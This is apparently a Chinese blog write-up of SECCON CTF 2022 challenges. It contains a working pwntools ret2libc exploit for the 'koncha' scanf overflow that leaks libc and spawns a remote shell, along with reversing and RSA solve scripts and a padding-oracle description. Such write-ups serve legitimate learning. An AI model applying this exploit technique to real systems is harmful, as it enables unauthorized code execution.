[SECCON CTF 2022] 只两个小题pwn_koncha,rev_babycmp,crypto_pqpq

134 篇文章 21 订阅
60 篇文章 12 订阅

从一开始入门CTF,SECCON的名字就如雷贯耳,如今参加了又很失望,距离参加这种比赛还是太远了。只是作了两个100人以上作出来的小题。

pwn koncha

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-50h] BYREF
  char v5[48]; // [rsp+20h] [rbp-30h] BYREF

  puts("Hello! What is your name?");
  __isoc99_scanf("%[^\n]s", v5);
  printf("Nice to meet you, %s!\n", v5);
  puts("Which country do you live in?");
  __isoc99_scanf("%s", v4);
  printf("Wow, %s is such a nice country!\n", v4);
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

也算是个送分的题,题目很容易看,就两个scanf很显然这里有溢出,只是溢出有一点小限制,猜测第一个会带出一个地址,试了一下猜对了,这里有个小技巧:scanf里取消了回车,如果你输入一个字符,那么里边的残留就会被截断,从而得到不了泄露。这里需要直接输入一个回车,scanf测试到错误跳过。其实就这么一个坑,带出来的是libc 地址,所以不用第二次处理就能直接得到shell了

from pwn import *

#p = process('./p4')
p = remote('koncha.seccon.games', 9001)
context(arch='amd64', log_level='debug')

libc_elf = ELF('./libc-2.31.so')

#gdb.attach(p)
#pause()
p.sendlineafter(b"Hello! What is your name?", b'') #直接回车绕过scanf保留栈内的数据残留
p.recvuntil(b'Nice to meet you, ')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f12e8
libc_elf.address = libc_base
print('libc:', hex(libc_base))

pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
bin_sh  = next(libc_elf.search(b'/bin/sh\x00'))

pay = b'A'*0x58+ flat(pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])

p.sendlineafter(b"Which country do you live in?\n", pay)

p.interactive()

rev babycmp

这个也算简单,虽然用了MM但用得比较少,其实长长型也容易理解,不算是坑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v5; // r12
  size_t v10; // rax
  size_t v11; // rdi
  unsigned __int64 v12; // rcx
  const char *v13; // rsi
  __int64 v14; // rax
  unsigned __int64 v15; // rdx
  int v16; // r12d
  __m128i v18; // [rsp+0h] [rbp-68h]
  char v19[8]; // [rsp+10h] [rbp-58h] BYREF
  __m128i si128; // [rsp+20h] [rbp-48h]
  __m128i v21; // [rsp+30h] [rbp-38h]
  int v22; // [rsp+40h] [rbp-28h]
  unsigned __int64 v23; // [rsp+48h] [rbp-20h]

  v23 = __readfsqword(0x28u);
  _RAX = 0LL;
  if ( argc <= 1 )
  {
    v16 = 1;
    __printf_chk(1LL, "Usage: %s FLAG\n", *argv);
  }
  else
  {
    v5 = argv[1];
    __asm { cpuid }
    v22 = '8\nA';
    strcpy(v19, "N 2022");
    si128 = _mm_load_si128((const __m128i *)&xmmword_3140);
    v21 = _mm_load_si128((const __m128i *)&xmmword_3150);
    v18 = _mm_load_si128((const __m128i *)&xmmword_3160);
    v10 = strlen(v5);
    v11 = v10;
    if ( v10 )
    {
      *v5 ^= 0x57u;
      v12 = 1LL;
      if ( v10 != 1 )
      {
        do
        {
          v13 = &argv[1][v12];
          v14 = v12 / 0x16
              + 2 * (v12 / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)v12) >> 64) & 0xFFFFFFFFFFFFFFFCLL));
          v15 = v12++;
          *v13 ^= v18.m128i_u8[v15 - 2 * v14];
        }
        while ( v11 != v12 );
      }
      v5 = argv[1];
    }
    if ( *(_OWORD *)&si128 == *(_OWORD *)v5 && *(_OWORD *)&v21 == *((_OWORD *)v5 + 1) && *((_DWORD *)v5 + 8) == v22 )
    {
      v16 = 0;
      puts("Correct!");
    }
    else
    {
      v16 = 0;
      puts("Wrong...");
    }
  }
  return v16;
}

从流程上看*v13 ^=.... 这是个类似流加密,也就是生成一个流,然后把明文依次与与流异或。它的流是固定的一个串里的值,偏移通过流计算得到。所以直接还原流,就可以用密文直接异或出明文

v1 = bytes.fromhex('2B2D3675357F1A44591E2320202F2004')[::-1]
v2 = bytes.fromhex('362B470401093C150736506D035A1711')[::-1]
v3 = bytes.fromhex('380A41')[::-1]
v18 = bytes.fromhex('4F43434553206F7420656D6F636C6557')[::-1]+b"N 2022"
c = v1+v2+v3
v15 = 35

v12 = 1
m = [c[0]^0x57]
for v12 in range(1,35):
    v14 = v12 // 0x16 + 2 * (v12 // 0x16 + (((0x2E8BA2E8BA2E8BA3 * v12) >> 64) & 0xFFFFFFFFFFFFFFFC))
    print(v12, v14, v12 - 2*v14)
    m.append(c[v12]^ v18[v12-2*v14])

print(m, bytes(m))

pqpq

这个作出来的人也很多,可惜这有个坎过不去,等WP了

原题

from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

这里e = 2*65537 显然这是个坑,但是这个坑有点大,超过我的跳跃能力。

先从头看吧,c1p,c1q分别是p^e,q^e然后得到c1,c2其实这里是为了绕人,这两个值其实就是

c1 = p**e - q**e (mod n)
c2 = (p-q)**e = p**e + q**e (mod n)
c1 + c2 = 2*p**e (mod n)
c2 - c1 = 2*q**e (mod n)

这样可以直接用gcd根据 c1,c2求出p,q

然后问题就严重了,e和phi有公因子2,这时候一般由于明文比较小,求出来的就是m**2,但这里加了padding使的明文与n相差不大,所以我就不会了.等wp吧,看了ddl的WP,发现这方法一样啊,这个方法前两天专门写过,怎么我就不对了呢。然后再默写一遍秒成(sage运行)

from Crypto.Util.number import long_to_bytes

e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866

#
p = gcd(c1+c2, n)
q = gcd(c2-c1, n)
r = n//p//q

phi = (p-1)*(q-1)*(r-1)
d = inverse_mod(e//2, phi)
m2 = pow(cm,d,n)

#分别对n各因子求
P.<x> = PolynomialRing(Zmod(p))
f = x^2 - m2
f.monic()
res1 = f.roots()

P.<x> = PolynomialRing(Zmod(q))
f = x^2 - m2
f.monic()
res2 = f.roots()

P.<x> = PolynomialRing(Zmod(r))
f = x^2 - m2
f.monic()
res3 = f.roots()

for x in res1:
    for y in res2:
        for z in res3:
            m = CRT([int(x[0]), int(y[0]), int(z[0])],[p,q,r])
            #print(m)
            flag = long_to_bytes(m)
            if b'SEC' in flag:
                print(flag)
            
'''
┌──(kali㉿kali)-[~/ctf/seccon]
└─$ sage a.sage
b'\x12=\x04q\x9b\xb8\x1c\x10C\x02\x1e\x13`\xac>A\x9c\xf9\x9d\xc2\x83\xc2\xcd\x15\x97\x86\x8e\xd2\x85*s\r\x18~\x9b\xbai\xb1\x07\xacF\x0f\xfcrZ\xf1\xd0\x1f\xb0q\xe4\xbf\xd2\x87G\x1b\xdc\xd2u\x97\xb3\xcc?\xba\xba@\xae\x96\xdc\x1b\x10\xd3\x00f\nH\x99d\xf7{\xea \x82T\xf5\x03\x81\xd0:\r\x8d\xa6P\x92\xa0\x1d\x91n u6}:\x98\r\xa0\xbc\xe5\x84y\x01\x89\xa4P\xf4\xf9\xe4\xf2\x95\x8d\x85\x11\xfezN\x06- e(\x80\xd2\x01\x8e\x94&\xf7amQ\x08@\xd4w\x8e\xbbP\xfa\x17SECCON{being_able_to_s0lve_this_1s_great!}'
'''

crypto witches_symmetric_exam

这个题也挺好,题目将flag先进行GCM模式加密再进行OFB模式加密,然后提供解密是否成功的反馈.

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell

key = get_random_bytes(16)
nonce = get_random_bytes(16)


def encrypt():
    data = secret_spell
    gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)  #CTR+消息验证码(?)

    ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)

    ofb_iv = get_random_bytes(16)
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)  #OFB 
    ciphertext = ofb_cipher.encrypt(ofb_input)
    return ofb_iv + ciphertext


def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)   #从最后一位padding
    except:
        return b"ofb error"

    try:
        gcm_tag = temp[:16]
        gcm_nonce = temp[16:32]
        gcm_ciphertext = temp[32:]
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)

        plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    except:
        return b"gcm error"

    if b"give me key" == plaintext:
        your_spell = input("ok, please say secret spell:").encode()
        if your_spell == secret_spell:
            return flag
        else:
            return b"Try Harder"

    return b"ok"


print(f"ciphertext: {encrypt().hex()}")
while True:
    c = input("ciphertext: ")
    print(decrypt(bytes.fromhex(c)))

后一步是OFB,这种模式只加密生成z流,明文跟它异或得到密文,只需要爆破得到z流就可以进行加解密.

得到z的方法就是padding oracle,简单的说如果一断密文结束了,那么最后一个一定是padding如果每段是16字符,明文差3个不够16就在后边被3个3,爆破的方法就是从最后一位改,如果它不报错了就说明末位是1,也就得到了最后一位z然后将最后两位改为2(最后一位得到z后可以算出来,所以需要爆破的是倒数第2位)这样16*256次就能得到一断的z,然后依次向前爆就行了.

可以后边一步GCM会运算一个校验码这个就不会整了,等WP .

后边都看了,都不会,等着吧.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值